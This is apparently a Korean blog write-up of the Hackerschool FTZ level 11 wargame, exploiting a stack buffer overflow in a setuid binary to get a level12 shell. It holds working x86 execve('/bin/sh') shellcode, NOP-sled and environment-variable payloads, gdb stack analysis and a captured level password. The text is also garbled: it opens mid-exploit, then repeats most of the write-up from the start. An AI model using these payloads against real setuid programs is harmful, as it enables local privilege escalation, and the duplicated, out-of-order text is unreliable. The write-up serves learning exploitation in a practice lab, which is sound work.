0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
---Type <return> to continue, or q <return> to quit---
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
(gdb) x/80x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeba0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebf0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec00: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec80: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
.
.
.
0xbfffef10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefa0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeff0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff000: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff010: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff020: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff030: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff040: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
중간 부분 0xbfffef70 을 ret 주소로 덮어보자.
[level11@ftz tmp]$ ls
attackme
[level11@ftz tmp]$ ln -sf ~/attackme ~/tmp/attackme
[level11@ftz tmp]$ ls -l
합계 0
lrwxrwxrwx 1 level11 level11 22 2월 27 21:32 attackme -> /home/level11/attackme
[level11@ftz tmp]$
일단 attackme 의 원본과 tmp 에 있는 사본과 주소 차이가 있을 수 있으므로,
심볼릭 링크를 걸었다.
$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
페이로드는 이렇게 된다.
스택에는 4byte 씩 리틀엔디안 방식으로 들어가기 때문에
환경변수의 주소도 리틀엔디안 방식으로 넣어주어야 한다.
이제 직접 attackme 파일을 공격해보자.
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAp���
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
이렇게 쉘이 따졌다.
랜덤으로 메모리가 바뀌기 때문에 한번에는 안될 것이다.
그래도 반복하면 스무번 안에는 나올 것이다.
2. 환경변수를 이용한 방법
환경변수는 고정적인 메모리 주소를 갖기 때문에 환경변수로 쉘코드를 입력하고,
그 환경변수의 주소를 가져오는 방식이다.
거리 계산하고 할 필요없이 ret 까지의 길이만 알면 쉽게 공격할 수 있다.
export
명령어를 이용해 환경변수를 저장해보자.
[level11@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3
\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
[level11@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
SHELL=
1육1���1육F�1�Ph//shh/bin�PS�1柰
�
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 59956 22
OLDPWD=/home/level11
SSH_TTY=/dev/pts/0
USER=level11
LS_COLORS=
MAIL=/var/spool/mail/level11
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin
INPUTRC=/etc/inputrc
PWD=/home/level11/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$
SHLVL=1
HOME=/home/level11
BASH_ENV=/home/level11/.bashrc
LOGNAME=level11
SSH_CONNECTION=172.16.21.1 59956 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level11@ftz tmp]$
SHELL 이라는 이름으로 환경변수를 저장했다.
코드를 짜서 SHELL 의 주소를 구해보자.
[level11@ftz tmp]$ vi sh.c
#include<stdio.h>
int main(void)
{
printf("%p\n", getenv("SHELL"));
}
~
~
~
~
~
~
~
~
~
~
[level11@ftz tmp]$ ls
attackme sh.c
[level11@ftz tmp]$ gcc -o sh sh.c
[level11@ftz tmp]$ ./sh
0xbffffd84
[level11@ftz tmp]$
환경변수 SHELL 의 주소는 0xbffffd84 이다.
$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
페이로드는 이렇게 된다.
공격해보면,
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
쉘을 땄다.
Level12 Password is "it is like this".
다음 단계부터는 한가지 방법으로만 작성할 생각이다 ...
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |
---|---|
[FTZ] level 12 → level 13 문제풀이 (0) | 2020.02.29 |
[FTZ] level 10 → level 11 문제풀이 (0) | 2020.02.25 |
[FTZ] level 9 → level 10 문제풀이 (0) | 2020.02.25 |
[FTZ] level 8 → level 9 문제풀이 (0) | 2020.02.23 |
level11 - id
: level11 , pw
: what!@#$?
[level11@ftz level11]$ ls
attackme hint public_html tmp
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz level11]$
hint 는 이름이 명시되지도 않은 파일의 소스코드가 적혀있다.
그리고 attackme 라는 새로운 파일이 생겼다.
[level11@ftz level11]$ ls -l
합계 28
-rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme
-rw-r----- 1 root level11 168 3월 8 2003 hint
drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level11 4096 2월 27 20:03 tmp
[level11@ftz level11]$
attackme 파일은 실행파일이며, level12 권한의 setuid 를 갖고있다.
그래서 hint의 파일이 attackme 파일의 소스코드라고 추측할 수 있다.
attackme 파일은 두가지 취약점이 발생하는데,
첫번째는 BOF
취약점이다.
strcpy 함수에서 변수 str 은 256 byte 인데,
입력할 수 있는 최대 byte 수 제한이 없기 때문에 256 byte 이상의 길이를 입력할 수 있다.
두번째는 FSB
취약점이다.
printf
함수가 원래 printf("%s", str); 이런 식으로 코드가 짜여져야하는데,
포맷스트링 없이 printf( str ); 이렇게 짰기 때문에 취약점이 발생한다.
FSB
취약점으로 푸는 방법은 level20 까지 다 올리고 풀이하려고 한다.
그래서 이번에는 BOF
취약점을 이용하여 풀이한다.
gdb로 attackme 를 분석해보자.
원본은 권한이 없어 gdb로 분석을 할 수 없기 때문에 tmp 파일에 attackme 파일을 복사하여 분석해보자.
[level11@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
(gdb)
0x08048499 <main+41>부터 보면 ebp 부터 264 byte 뒤부터 입력을 받는다.
str 는 256 byte 이므로, dummy는 8 byte 이다.
str(256) + dummy(8) + sfp(4) + ret(4)
이런 구조이다.
(gdb) r `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb)
예상대로 ret 에는 DDDD(\x44\x44\x44\x44) 가 들어갔다.
python 으로 인자값을 주려면 `
을 사용하면 된다.
이제 페이로드를 짜보자.
BOF
도 여러가지 방법이 있는데,
str 에 쉘코드를 넣고, ret 을 str 주소를 넣는 방법,
ret 뒤에 쉘코드를 넣는 방법,
환경변수에 쉘코드를 넣는 방법 등등등..
우리는 이 중 두가지 방법으로 풀어볼 것이다.
1. 고전적인 방법
첫번째는 쉘코드를 뒤에 넣는 방법인데,
FTZ 환경은 스택 보호기법인 ASLR
기법이 적용돼있기 때문에 스택의 메모리 주소가 계속 바뀐다.
그래서 Nop Sled(\x90) 으로 많이 채운 다음 쉘코드를 뒤에 붙이고,
Nop Sled 중간 부분에 한번이라도 걸리면 쭉 타고 내려가서 쉘코드를 실행할 것이다.
Nop Sled 는 아무 동작하지 않고, 공간만 확보하는 하나의 기법이다.
(gdb) b* main+74
Breakpoint 1 at 0x80484ba
(gdb) r `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCC
Breakpoint 1, 0x080484ba in main ()
(gdb)
Nop Sled + shellcode 자리를 2000만큼 확보했다.
Nop Sled 사이의 주소를 아무거나 가져오자.
(gdb) x/100x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
---Type <return> to continue, or q <return> to quit---
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
(gdb) x/80x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeba0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebf0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec00: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec80: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
.
.
.
0xbfffef10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefa0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeff0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff000: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff010: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff020: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff030: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff040: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
중간 부분 0xbfffef70 을 ret 주소로 덮어보자.
[level11@ftz tmp]$ ls
attackme
[level11@ftz tmp]$ ln -sf ~/attackme ~/tmp/attackme
[level11@ftz tmp]$ ls -l
합계 0
lrwxrwxrwx 1 level11 level11 22 2월 27 21:32 attackme -> /home/level11/attackme
[level11@ftz tmp]$
일단 attackme 의 원본과 tmp 에 있는 사본과 주소 차이가 있을 수 있으므로,
심볼릭 링크를 걸었다.
$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
페이로드는 이렇게 된다.
스택에는 4byte 씩 리틀엔디안 방식으로 들어가기 때문에
환경변수의 주소도 리틀엔디안 방식으로 넣어주어야 한다.
이제 직접 attackme 파일을 공격해보자.
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAp���
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
이렇게 쉘이 따졌다.
랜덤으로 메모리가 바뀌기 때문에 한번에는 안될 것이다.
그래도 반복하면 스무번 안에는 나올 것이다.
2. 환경변수를 이용한 방법
환경변수는 고정적인 메모리 주소를 갖기 때문에 환경변수로 쉘코드를 입력하고,
그 환경변수의 주소를 가져오는 방식이다.
거리 계산하고 할 필요없이 ret 까지의 길이만 알면 쉽게 공격할 수 있다.
export
명령어를 이용해 환경변수를 저장해보자.
[level11@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3
\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
[level11@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
SHELL=
1육1���1육F�1�Ph//shh/bin�PS�1柰
�
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 59956 22
OLDPWD=/home/level11
SSH_TTY=/dev/pts/0
USER=level11
LS_COLORS=
MAIL=/var/spool/mail/level11
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin
INPUTRC=/etc/inputrc
PWD=/home/level11/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$
SHLVL=1
HOME=/home/level11
BASH_ENV=/home/level11/.bashrc
LOGNAME=level11
SSH_CONNECTION=172.16.21.1 59956 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level11@ftz tmp]$
SHELL 이라는 이름으로 환경변수를 저장했다.
코드를 짜서 SHELL 의 주소를 구해보자.
[level11@ftz tmp]$ vi sh.c
#include<stdio.h>
int main(void)
{
printf("%p\n", getenv("SHELL"));
}
~
~
~
~
~
~
~
~
~
~
[level11@ftz tmp]$ ls
attackme sh.c
[level11@ftz tmp]$ gcc -o sh sh.c
[level11@ftz tmp]$ ./sh
0xbffffd84
[level11@ftz tmp]$
환경변수 SHELL 의 주소는 0xbffffd84 이다.
$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
페이로드는 이렇게 된다.
공격해보면,
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
쉘을 땄다.
Level12 Password is "it is like this".
다음 단계부터는 한가지 방법으로만 작성할 생각이다 ...
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |
---|---|
[FTZ] level 12 → level 13 문제풀이 (0) | 2020.02.29 |
[FTZ] level 10 → level 11 문제풀이 (0) | 2020.02.25 |
